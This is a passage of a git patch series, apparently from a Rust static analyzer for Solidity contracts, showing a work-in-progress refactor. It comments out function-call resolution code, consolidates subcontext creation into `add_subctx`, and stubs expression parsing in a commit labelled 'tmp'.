if possible_funcs.is_empty() { - // check structs - let structs = ctx.visible_structs(analyzer).into_expr_err(loc)?; - let possible_structs = structs - .iter() - .filter(|strukt| { - let named_correctly = strukt - .name(analyzer) - .unwrap() - .starts_with(&ident.name.to_string()); - if !named_correctly { - false - } else { - // filter by params - let fields = strukt.fields(analyzer); - fields.len() == input_exprs.len() - } - }) - .copied() - .collect::>(); + // if matches!(inputs, ExprRet::CtxKilled(_)) { + // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // if possible_funcs.is_empty() { + // // check structs + // let structs = ctx.visible_structs(analyzer).into_expr_err(loc)?; + // let possible_structs = structs + // .iter() + // .filter(|strukt| { + // let named_correctly = strukt + // .name(analyzer) + // .unwrap() + // .starts_with(&ident.name.to_string()); + // if !named_correctly { + // false + // } else { + // // filter by params + // let fields = strukt.fields(analyzer); + // fields.len() == input_exprs.len() + // } + // }) + // .copied() + // .collect::>(); - if possible_structs.len() == 1 { - let strukt = possible_structs[0]; - let var = ContextVar::new_from_struct(loc, strukt, ctx, analyzer) - .into_expr_err(loc)?; - let cvar = analyzer.add_node(Node::ContextVar(var)); - ctx.add_var(cvar.into(), analyzer).into_expr_err(loc)?; - analyzer.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); + // if possible_structs.len() == 1 { + // let strukt = possible_structs[0]; + // let var = ContextVar::new_from_struct(loc, strukt, ctx, analyzer) + // .into_expr_err(loc)?; + // let cvar = analyzer.add_node(Node::ContextVar(var)); + // ctx.add_var(cvar.into(), analyzer).into_expr_err(loc)?; + // analyzer.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - strukt.fields(analyzer).iter().try_for_each(|field| { - let field_cvar = ContextVar::maybe_new_from_field( - analyzer, - loc, - ContextVarNode::from(cvar) - .underlying(analyzer) - .into_expr_err(loc)?, - field.underlying(analyzer).unwrap().clone(), - ) - .expect("Invalid struct field"); + // strukt.fields(analyzer).iter().try_for_each(|field| { + // let field_cvar = ContextVar::maybe_new_from_field( + // analyzer, + // loc, + // ContextVarNode::from(cvar) + // .underlying(analyzer) + // .into_expr_err(loc)?, + // field.underlying(analyzer).unwrap().clone(), + // ) + // .expect("Invalid struct field"); - let fc_node = analyzer.add_node(Node::ContextVar(field_cvar)); - analyzer.add_edge(fc_node, cvar, Edge::Context(ContextEdge::AttrAccess("field"))); - analyzer.add_edge(fc_node, ctx, Edge::Context(ContextEdge::Variable)); - ctx.add_var(fc_node.into(), analyzer).into_expr_err(loc)?; - let field_as_ret = ExprRet::Single(fc_node); - let Some(assignment) = inputs.take_one().into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "Struct creation failed".to_string())); - }; + // let fc_node = analyzer.add_node(Node::ContextVar(field_cvar)); + // analyzer.add_edge(fc_node, cvar, Edge::Context(ContextEdge::AttrAccess("field"))); + // analyzer.add_edge(fc_node, ctx, Edge::Context(ContextEdge::Variable)); + // ctx.add_var(fc_node.into(), analyzer).into_expr_err(loc)?; + // let field_as_ret = ExprRet::Single(fc_node); + // let Some(assignment) = inputs.take_one().into_expr_err(loc)? else { + // return Err(ExprErr::NoRhs(loc, "Struct creation failed".to_string())); + // }; - if matches!(assignment, ExprRet::CtxKilled(_)) { - ctx.push_expr(assignment, analyzer).into_expr_err(loc)?; - return Ok(()); - } + // if matches!(assignment, ExprRet::CtxKilled(_)) { + // ctx.push_expr(assignment, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - analyzer.match_assign_sides(arena, ctx, loc, &field_as_ret, &assignment)?; - let _ = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)?; - Ok(()) - })?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, _loc| { - ctx.push_expr(ExprRet::Single(cvar), analyzer) - .into_expr_err(loc)?; - Ok(()) - })?; - return Ok(()); - } - // TODO: this is extremely ugly. - if inputs.has_killed() { - return ctx - .kill(analyzer, loc, inputs.killed_kind().unwrap()) - .into_expr_err(loc); - } - let mut inputs = inputs.as_vec(); - if let Node::ContextVar(_) = analyzer.node(member) { - inputs.insert(0, ExprRet::Single(member)) - } - if let Node::ContextVar(_) = analyzer.node(member) { - if member_is_lit { - inputs.insert(0, ExprRet::SingleLiteral(member)) - } else { - inputs.insert(0, ExprRet::Single(member)) - } - } - let inputs = ExprRet::Multi(inputs); + // analyzer.match_assign_sides(arena, ctx, loc, &field_as_ret, &assignment)?; + // let _ = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)?; + // Ok(()) + // })?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, _loc| { + // ctx.push_expr(ExprRet::Single(cvar), analyzer) + // .into_expr_err(loc)?; + // Ok(()) + // })?; + // return Ok(()); + // } + // // TODO: this is extremely ugly. + // if inputs.has_killed() { + // return ctx + // .kill(analyzer, loc, inputs.killed_kind().unwrap()) + // .into_expr_err(loc); + // } + // let mut inputs = inputs.as_vec(); + // if let Node::ContextVar(_) = analyzer.node(member) { + // inputs.insert(0, ExprRet::Single(member)) + // } + // if let Node::ContextVar(_) = analyzer.node(member) { + // if member_is_lit { + // inputs.insert(0, ExprRet::SingleLiteral(member)) + // } else { + // inputs.insert(0, ExprRet::Single(member)) + // } + // } + // let inputs = ExprRet::Multi(inputs); - let as_input_str = inputs.try_as_func_input_str(analyzer, arena); + // let as_input_str = inputs.try_as_func_input_str(analyzer, arena); - let lits = inputs.literals_list().into_expr_err(loc)?; - if lits.iter().any(|i| *i) { - // try to disambiguate - let ty = if let Node::ContextVar(cvar) = analyzer.node(member) { - cvar.ty.ty_idx() - } else { - member - }; + // let lits = inputs.literals_list().into_expr_err(loc)?; + // if lits.iter().any(|i| *i) { + // // try to disambiguate + // let ty = if let Node::ContextVar(cvar) = analyzer.node(member) { + // cvar.ty.ty_idx() + // } else { + // member + // }; - let possible_builtins: Vec<_> = analyzer - .builtin_fn_inputs() - .iter() - .filter_map(|(func_name, (inputs, _))| { - if func_name.starts_with(&ident.name) { - if let Some(input) = inputs.first() { - let try_cast = VarType::try_from_idx(analyzer, ty)? - .implicitly_castable_to( - &VarType::try_from_idx(analyzer, input.ty)?, - analyzer, - ); - let Ok(implicitly_castable) = try_cast else { - return None; - }; - if implicitly_castable { - Some(func_name.clone()) - } else { - None - } - } else { - // generic builtin function, return it - Some(func_name.clone()) - } - } else { - None - } - }) - .collect::>(); - let possible_builtins: Vec<_> = possible_builtins - .into_iter() - .filter_map(|name| { - analyzer - .builtin_fn_or_maybe_add(&name) - .map(FunctionNode::from) - }) - .collect(); + // let possible_builtins: Vec<_> = analyzer + // .builtin_fn_inputs() + // .iter() + // .filter_map(|(func_name, (inputs, _))| { + // if func_name.starts_with(&ident.name) { + // if let Some(input) = inputs.first() { + // let try_cast = VarType::try_from_idx(analyzer, ty)? + // .implicitly_castable_to( + // &VarType::try_from_idx(analyzer, input.ty)?, + // analyzer, + // ); + // let Ok(implicitly_castable) = try_cast else { + // return None; + // }; + // if implicitly_castable { + // Some(func_name.clone()) + // } else { + // None + // } + // } else { + // // generic builtin function, return it + // Some(func_name.clone()) + // } + // } else { + // None + // } + // }) + // .collect::>(); + // let possible_builtins: Vec<_> = possible_builtins + // .into_iter() + // .filter_map(|name| { + // analyzer + // .builtin_fn_or_maybe_add(&name) + // .map(FunctionNode::from) + // }) + // .collect(); - let maybe_func = if possible_builtins.len() == 1 { - Some(possible_builtins[0]) - } else { - analyzer.disambiguate_fn_call( - arena, - &ident.name, - lits, - &inputs, - &possible_builtins, - ) - }; - if let Some(func) = maybe_func { - let expr = &MemberAccess( - loc, - Box::new(member_expr.clone()), - Identifier { - loc: ident.loc, - name: func - .name(analyzer) - .into_expr_err(loc)? - .split('(') - .collect::>()[0] - .to_string(), - }, - ); - analyzer.parse_ctx_expr(arena, expr, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Fallback function parse failure".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let mut modifier_input_exprs = vec![member_expr.clone()]; - modifier_input_exprs.extend(input_exprs.exprs()); - unreachable!() - }) - } else { - // analyzer.match_intrinsic_fallback(ctx, &loc, &modifier_input_exprs, ret) - Err(ExprErr::FunctionNotFound( - loc, - format!( - "Could not disambiguate builtin function, possible builtin functions: {:#?}", - possible_builtins - .iter() - .map(|i| i.name(analyzer).unwrap()) - .collect::>() - ), - )) - } - } else { - let expr = &MemberAccess( - loc, - Box::new(member_expr.clone()), - Identifier { - loc: ident.loc, - name: format!("{}{}", ident.name, as_input_str), - }, - ); - analyzer.parse_ctx_expr(arena, expr, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Fallback function parse failure".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let mut modifier_input_exprs = vec![member_expr.clone()]; - modifier_input_exprs.extend(input_exprs.exprs()); - unreachable!() - }) - } - } else if possible_funcs.len() == 1 { - let mut inputs = if let Some(ordered_param_names) = - possible_funcs[0].maybe_ordered_param_names(analyzer) - { - input_exprs.order(inputs, ordered_param_names).as_vec() - } else { - inputs.as_vec() - }; - let func = possible_funcs[0]; - if func.params(analyzer).len() > inputs.len() { - // Add the member back in if its a context variable - if let Node::ContextVar(_) = analyzer.node(member) { - inputs.insert(0, ExprRet::Single(member)) - } - } - let inputs = ExprRet::Multi(inputs); - if inputs.has_killed() { - return ctx - .kill(analyzer, loc, inputs.killed_kind().unwrap()) - .into_expr_err(loc); - } + // let maybe_func = if possible_builtins.len() == 1 { + // Some(possible_builtins[0]) + // } else { + // analyzer.disambiguate_fn_call( + // arena, + // &ident.name, + // lits, + // &inputs, + // &possible_builtins, + // ) + // }; + // if let Some(func) = maybe_func { + // let expr = &MemberAccess( + // loc, + // Box::new(member_expr.clone()), + // Identifier { + // loc: ident.loc, + // name: func + // .name(analyzer) + // .into_expr_err(loc)? + // .split('(') + // .collect::>()[0] + // .to_string(), + // }, + // ); + // analyzer.parse_ctx_expr(arena, expr, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(ret) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Fallback function parse failure".to_string(), + // )); + // }; + // if matches!(ret, ExprRet::CtxKilled(_)) { + // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // let mut modifier_input_exprs = vec![member_expr.clone()]; + // modifier_input_exprs.extend(input_exprs.exprs()); + // unreachable!() + // }) + // } else { + // // analyzer.match_intrinsic_fallback(ctx, &loc, &modifier_input_exprs, ret) + // Err(ExprErr::FunctionNotFound( + // loc, + // format!( + // "Could not disambiguate builtin function, possible builtin functions: {:#?}", + // possible_builtins + // .iter() + // .map(|i| i.name(analyzer).unwrap()) + // .collect::>() + // ), + // )) + // } + // } else { + // let expr = &MemberAccess( + // loc, + // Box::new(member_expr.clone()), + // Identifier { + // loc: ident.loc, + // name: format!("{}{}", ident.name, as_input_str), + // }, + // ); + // analyzer.parse_ctx_expr(arena, expr, ctx)?; + // analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "Fallback function parse failure".to_string(), + // )); + // }; + // if matches!(ret, ExprRet::CtxKilled(_)) { + // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // let mut modifier_input_exprs = vec![member_expr.clone()]; + // modifier_input_exprs.extend(input_exprs.exprs()); + // unreachable!() + // }) + // } + // } else if possible_funcs.len() == 1 { + // let mut inputs = if let Some(ordered_param_names) = + // possible_funcs[0].maybe_ordered_param_names(analyzer) + // { + // input_exprs.order(inputs, ordered_param_names).as_vec() + // } else { + // inputs.as_vec() + // }; + // let func = possible_funcs[0]; + // if func.params(analyzer).len() > inputs.len() { + // // Add the member back in if its a context variable + // if let Node::ContextVar(_) = analyzer.node(member) { + // inputs.insert(0, ExprRet::Single(member)) + // } + // } + // let inputs = ExprRet::Multi(inputs); + // if inputs.has_killed() { + // return ctx + // .kill(analyzer, loc, inputs.killed_kind().unwrap()) + // .into_expr_err(loc); + // } - analyzer.setup_fn_call(arena, &ident.loc, &inputs, func.into(), ctx, None) - } else { - // Add the member back in if its a context variable - let mut inputs = inputs.as_vec(); - if let Node::ContextVar(_) = analyzer.node(member) { - inputs.insert(0, ExprRet::Single(member)) - } - let inputs = ExprRet::Multi(inputs); - // this is the annoying case due to function overloading & type inference on number literals - let mut lits = vec![false]; - lits.extend( - input_exprs - .exprs() - .iter() - .map(|expr| { - match expr { - Negate(_, expr) => { - // negative number potentially - matches!(**expr, NumberLiteral(..) | HexLiteral(..)) - } - NumberLiteral(..) | HexLiteral(..) => true, - _ => false, - } - }) - .collect::>(), - ); + // analyzer.setup_fn_call(arena, &ident.loc, &inputs, func.into(), ctx, None) + // } else { + // // Add the member back in if its a context variable + // let mut inputs = inputs.as_vec(); + // if let Node::ContextVar(_) = analyzer.node(member) { + // inputs.insert(0, ExprRet::Single(member)) + // } + // let inputs = ExprRet::Multi(inputs); + // // this is the annoying case due to function overloading & type inference on number literals + // let mut lits = vec![false]; + // lits.extend( + // input_exprs + // .exprs() + // .iter() + // .map(|expr| { + // match expr { + // Negate(_, expr) => { + // // negative number potentially + // matches!(**expr, NumberLiteral(..) | HexLiteral(..)) + // } + // NumberLiteral(..) | HexLiteral(..) => true, + // _ => false, + // } + // }) + // .collect::>(), + // ); - if inputs.has_killed() { - return ctx - .kill(analyzer, loc, inputs.killed_kind().unwrap()) - .into_expr_err(loc); - } - if let Some(func) = - analyzer.disambiguate_fn_call(arena, &ident.name, lits, &inputs, &possible_funcs) - { - analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) - } else { - Err(ExprErr::FunctionNotFound( - loc, - format!( - "Could not disambiguate function, possible functions: {:#?}", - possible_funcs - .iter() - .map(|i| i.name(analyzer).unwrap()) - .collect::>() - ), - )) - } - } - }) + // if inputs.has_killed() { + // return ctx + // .kill(analyzer, loc, inputs.killed_kind().unwrap()) + // .into_expr_err(loc); + // } + // if let Some(func) = + // analyzer.disambiguate_fn_call(arena, &ident.name, lits, &inputs, &possible_funcs) + // { + // analyzer.setup_fn_call(arena, &loc, &inputs, func.into(), ctx, None) + // } else { + // Err(ExprErr::FunctionNotFound( + // loc, + // format!( + // "Could not disambiguate function, possible functions: {:#?}", + // possible_funcs + // .iter() + // .map(|i| i.name(analyzer).unwrap()) + // .collect::>() + // ), + // )) + // } + // } + // }) } } diff --git a/crates/solc-expressions/src/loops.rs b/crates/solc-expressions/src/loops.rs index c9a86457..1a8235a8 100644 --- a/crates/solc-expressions/src/loops.rs +++ b/crates/solc-expressions/src/loops.rs @@ -57,8 +57,7 @@ pub trait Looper: body: &Statement, ) -> Result<(), ExprErr> { let og_ctx = ctx; - let sctx = Context::new_loop_subctx(ctx, loc, self).into_expr_err(loc)?; - let subctx = ContextNode::from(self.add_node(Node::Context(sctx))); + let subctx = Context::new_loop_subctx(ctx, loc, self).into_expr_err(loc)?; ctx.set_child_call(subctx, self).into_expr_err(loc)?; self.add_edge(subctx, ctx, Edge::Context(ContextEdge::Loop)); @@ -93,8 +92,7 @@ pub trait Looper: }); let subctx_kind = SubContextKind::new_fn_ret(ctx, og_ctx); - let sctx = Context::new_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let sctx = ContextNode::from(analyzer.add_node(Node::Context(sctx))); + let sctx = Context::add_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; ctx.set_child_call(sctx, analyzer).into_expr_err(loc) }) } diff --git a/crates/solc-expressions/src/yul/yul_builder.rs b/crates/solc-expressions/src/yul/yul_builder.rs index c58073f0..10c7b2c7 100644 --- a/crates/solc-expressions/src/yul/yul_builder.rs +++ b/crates/solc-expressions/src/yul/yul_builder.rs @@ -186,7 +186,7 @@ pub trait YulBuilder: // execution_block: _, // }) => { // let sctx = - // Context::new_subctx(ctx, None, *loc, None, None, false, analyzer, None) + // Context::add_subctx(ctx, None, *loc, None, None, false, analyzer, None) // .into_expr_err(*loc)?; // let subctx = ContextNode::from(analyzer.add_node(Node::Context(sctx))); // ctx.set_child_call(subctx, analyzer).into_expr_err(*loc)?; diff --git a/crates/solc-expressions/src/yul/yul_cond_op.rs b/crates/solc-expressions/src/yul/yul_cond_op.rs index ec34276f..d2412c1d 100644 --- a/crates/solc-expressions/src/yul/yul_cond_op.rs +++ b/crates/solc-expressions/src/yul/yul_cond_op.rs @@ -37,13 +37,11 @@ pub trait YulCondOp: ) -> Result<(), ExprErr> { self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { let true_subctx_kind = SubContextKind::new_fork(ctx, true); - let tctx = - Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); + let true_subctx = + Context::add_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let false_subctx_kind = SubContextKind::new_fork(ctx, false); - let fctx = - Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); + let false_subctx = + Context::add_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; ctx.set_child_fork(true_subctx, false_subctx, analyzer) .into_expr_err(loc)?; let ctx_fork = analyzer.add_node(Node::ContextFork); @@ -119,13 +117,11 @@ pub trait YulCondOp: ) -> Result<(), ExprErr> { self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { let true_subctx_kind = SubContextKind::new_fork(ctx, true); - let tctx = - Context::new_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); + let true_subctx = + Context::add_subctx(true_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let false_subctx_kind = SubContextKind::new_fork(ctx, false); - let fctx = - Context::new_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; - let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); + let false_subctx = + Context::add_subctx(false_subctx_kind, loc, analyzer, None).into_expr_err(loc)?; ctx.set_child_fork(true_subctx, false_subctx, analyzer) .into_expr_err(loc)?; let ctx_fork = analyzer.add_node(Node::ContextFork); From e02fc098dee265a25cb4163a7d3e88128337d064 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Wed, 17 Jul 2024 11:38:59 -0700 Subject: [PATCH 12/52] tmp --- crates/pyrometer/src/analyzer_backend.rs | 1 + .../src/context_builder/expr.rs | 415 +----------- .../src/context_builder/flattened.rs | 3 +- .../src/context_builder/fn_calls.rs | 324 ---------- .../src/context_builder/mod.rs | 2 - .../src/context_builder/stmt.rs | 606 ------------------ 6 files changed, 5 insertions(+), 1346 deletions(-) delete mode 100644 crates/solc-expressions/src/context_builder/fn_calls.rs diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 8cf7d4fe..abbe9e49 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -561,6 +561,7 @@ impl AnalyzerLike for Analyzer { type ExprFlag = ExprFlag; fn push_expr(&mut self, flat: FlatExpr) { + tracing::trace!("pushing expression: {flat:?}"); self.flattened.push(flat); } diff --git a/crates/solc-expressions/src/context_builder/expr.rs b/crates/solc-expressions/src/context_builder/expr.rs index a8ff7d2b..b3c5bd73 100644 --- a/crates/solc-expressions/src/context_builder/expr.rs +++ b/crates/solc-expressions/src/context_builder/expr.rs @@ -25,41 +25,7 @@ pub trait ExpressionParser: expr: &Expression, ctx: ContextNode, ) -> Result<(), ExprErr> { - let res = if !ctx.killed_or_ret(self).unwrap() { - let edges = ctx.live_edges(self).into_expr_err(expr.loc())?; - if edges.is_empty() { - self.parse_ctx_expr_inner(arena, expr, ctx) - } else { - edges - .iter() - .try_for_each(|fork_ctx| self.parse_ctx_expr(arena, expr, *fork_ctx))?; - Ok(()) - } - } else { - Ok(()) - }; - if unsafe { USE_DEBUG_SITE } { - post_to_site(&*self, arena); - } - - if ctx - .underlying(self) - .into_expr_err(expr.loc())? - .expr_ret_stack - .is_empty() - { - let res = self.is_representation_ok(arena).into_expr_err(expr.loc()); - if let Some(errs) = self.add_if_err(res) { - if !errs.is_empty() { - ctx.kill(self, expr.loc(), KilledKind::ParseError).unwrap(); - errs.into_iter().for_each(|err| { - self.add_expr_err(ExprErr::from_repr_err(expr.loc(), err)); - }); - } - } - } - - res + unreachable!("dead"); } #[tracing::instrument(level = "trace", skip_all, fields(ctx = %ctx.path(self).replace('.', "\n\t.")))] @@ -70,383 +36,6 @@ pub trait ExpressionParser: expr: &Expression, ctx: ContextNode, ) -> Result<(), ExprErr> { - // tracing::trace!( - // "ctx: {}, current stack: {:?}, \nexpr: {:?}\n", - // ctx.underlying(self).unwrap().path, - // ctx.underlying(self) - // .unwrap() - // .expr_ret_stack - // .iter() - // .map(|i| i.debug_str(self)) - // .collect::>(), - // expr - // ); - panic!("here"); - // match expr { - // // literals - // NumberLiteral(loc, int, exp, unit) => { - // self.number_literal(ctx, *loc, int, exp, false, unit) - // } - // AddressLiteral(loc, addr) => self.address_literal(ctx, *loc, addr), - // StringLiteral(lits) => lits - // .iter() - // .try_for_each(|lit| self.string_literal(ctx, lit.loc, &lit.string)), - // BoolLiteral(loc, b) => self.bool_literal(ctx, *loc, *b), - // HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, false), - // HexLiteral(hexes) => todo!(), - // RationalNumberLiteral(loc, integer, fraction, exp, unit) => { - // self.rational_number_literal(arena, ctx, *loc, integer, fraction, exp, unit, false) - // } - // Negate(_loc, expr) => match &**expr { - // NumberLiteral(loc, int, exp, unit) => { - // self.number_literal(ctx, *loc, int, exp, true, unit) - // } - // HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, true), - // RationalNumberLiteral(loc, integer, fraction, exp, unit) => self - // .rational_number_literal(arena, ctx, *loc, integer, fraction, exp, unit, true), - // e => { - // self.parse_ctx_expr(arena, e, ctx)?; - // self.apply_to_edges(ctx, e.loc(), arena, &|analyzer, arena, ctx, loc| { - // tracing::trace!("Negate variable pop"); - // let Some(rhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // "No variable present to negate".to_string(), - // )); - // }; - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // // Solidity is dumb and used to allow negation of unsigned integers. - // // That means we have to cast this as a int256. - // let var = rhs_paths.expect_single().into_expr_err(loc)?; - - // let zero = - // analyzer.add_node(Node::Concrete(Concrete::from(I256::from(0i32)))); - // let zero = ContextVar::new_from_concrete( - // Loc::Implicit, - // ctx, - // zero.into(), - // analyzer, - // ) - // .into_expr_err(loc)?; - // let zero = analyzer.add_node(Node::ContextVar(zero)); - // let new_underlying = ContextVarNode::from(var) - // .underlying(analyzer) - // .into_expr_err(loc)? - // .clone() - // .as_cast_tmp(loc, ctx, Builtin::Int(256), analyzer) - // .into_expr_err(loc)?; - // let node = analyzer.add_node(Node::ContextVar(new_underlying)); - // ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; - // analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - - // ContextVarNode::from(node) - // .cast_from(&ContextVarNode::from(zero), analyzer, arena) - // .into_expr_err(loc)?; - - // let lhs_paths = ExprRet::Single(zero); - // analyzer.op_match( - // arena, - // ctx, - // loc, - // &lhs_paths, - // &ExprRet::Single( - // ContextVarNode::from(node).latest_version(analyzer).into(), - // ), - // RangeOp::Sub(true), - // false, - // ) - // }) - // } // e => todo!("UnaryMinus unexpected rhs: {e:?}"), - // }, - // UnaryPlus(_loc, e) => todo!("UnaryPlus unexpected rhs: {e:?}"), - - // // Binary ops - // Power(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Exp, false) - // } - // Add(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Add(ctx.unchecked(self).into_expr_err(*loc)?), - // false, - // ), - // AssignAdd(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Add(ctx.unchecked(self).into_expr_err(*loc)?), - // true, - // ), - // Subtract(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Sub(ctx.unchecked(self).into_expr_err(*loc)?), - // false, - // ), - // AssignSubtract(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Sub(ctx.unchecked(self).into_expr_err(*loc)?), - // true, - // ), - // Multiply(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Mul(ctx.unchecked(self).into_expr_err(*loc)?), - // false, - // ), - // AssignMultiply(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Mul(ctx.unchecked(self).into_expr_err(*loc)?), - // true, - // ), - // Divide(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Div(false), - // false, - // ), - // AssignDivide(loc, lhs_expr, rhs_expr) => self.op_expr( - // arena, - // *loc, - // lhs_expr, - // rhs_expr, - // ctx, - // RangeOp::Div(false), - // true, - // ), - // Modulo(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Mod, false) - // } - // AssignModulo(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Mod, true) - // } - // ShiftLeft(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shl, false) - // } - // AssignShiftLeft(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shl, true) - // } - // ShiftRight(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shr, false) - // } - // AssignShiftRight(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shr, true) - // } - // ConditionalOperator(loc, if_expr, true_expr, false_expr) => { - // self.cond_op_expr(arena, *loc, if_expr, true_expr, false_expr, ctx) - // } - - // // Bitwise ops - // BitwiseAnd(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitAnd, false) - // } - // AssignAnd(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitAnd, true) - // } - // BitwiseXor(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitXor, false) - // } - // AssignXor(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitXor, true) - // } - // BitwiseOr(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitOr, false) - // } - // AssignOr(loc, lhs_expr, rhs_expr) => { - // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitOr, true) - // } - // BitwiseNot(loc, lhs_expr) => self.bit_not(arena, *loc, lhs_expr, ctx), - - // // assign - // Assign(loc, lhs_expr, rhs_expr) => { - // self.assign_exprs(arena, *loc, lhs_expr, rhs_expr, ctx) - // } - // List(loc, params) => self.list(arena, ctx, *loc, params), - // // array - // ArraySubscript(_loc, ty_expr, None) => self.array_ty(arena, ty_expr, ctx), - // ArraySubscript(loc, ty_expr, Some(index_expr)) => { - // self.index_into_array(arena, *loc, ty_expr, index_expr, ctx) - // } - // ArraySlice(loc, _lhs_expr, _maybe_middle_expr, _maybe_rhs) => Err(ExprErr::Todo( - // *loc, - // "Array slicing not currently supported".to_string(), - // )), - // ArrayLiteral(loc, _) => Err(ExprErr::Todo( - // *loc, - // "Array literal not currently supported".to_string(), - // )), - - // // Comparator - // Equal(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Eq, rhs, ctx), - // NotEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Neq, rhs, ctx), - // Less(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Lt, rhs, ctx), - // More(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Gt, rhs, ctx), - 